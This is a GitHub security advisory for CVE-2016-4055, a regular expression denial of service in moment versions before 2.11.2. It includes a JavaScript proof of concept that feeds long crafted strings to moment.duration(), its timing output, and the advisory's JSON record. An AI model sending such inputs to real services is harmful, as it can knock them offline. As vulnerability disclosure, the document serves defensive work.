GHSA-87VV-R9J6-G5QV

Vulnerability from github – Published: 2017-10-24 18:33 – Updated: 2022-06-07 14:31
VLAI?
Summary
Regular Expression Denial of Service in moment
Details

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.

Severity ?
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "moment"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-4055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:24:44Z",
    "nvd_published_at": "2017-01-23T21:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.\n\n\n## Proof of concept\n```\nvar moment = require(\u0027moment\u0027);\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i\u003c=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=20000;i\u003c=10000000;i=i+10000) {\n    console.log(\"COUNT: \" + i);\n    var str = \u0027-\u0027 + genstr(i, \u00271\u0027)\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    moment.duration(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\n```\n$ node moment.js\nCOUNT: 20000\nLENGTH: 20002\n[ 0, 618931029 ]\nCOUNT: 30001\nLENGTH: 30003\n[ 1, 401413894 ]\nCOUNT: 40002\nLENGTH: 40004\n[ 2, 437075303 ]\nCOUNT: 50003\nLENGTH: 50005\n[ 3, 824664804 ]\nCOUNT: 60004\nLENGTH: 60006\n[ 5, 651335262 ]\n```\n\n\n## Recommendation\n\nPlease update to version 2.11.2 or later. ",
  "id": "GHSA-87vv-r9j6-g5qv",
  "modified": "2022-06-07T14:31:25Z",
  "published": "2017-10-24T18:33:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4055"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-87vv-r9j6-g5qv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moment/moment"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@%3Cuser.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@%3Cuser.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@%3Cuser.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/55"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/tns-2019-02"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/04/20/11"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95849"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in moment"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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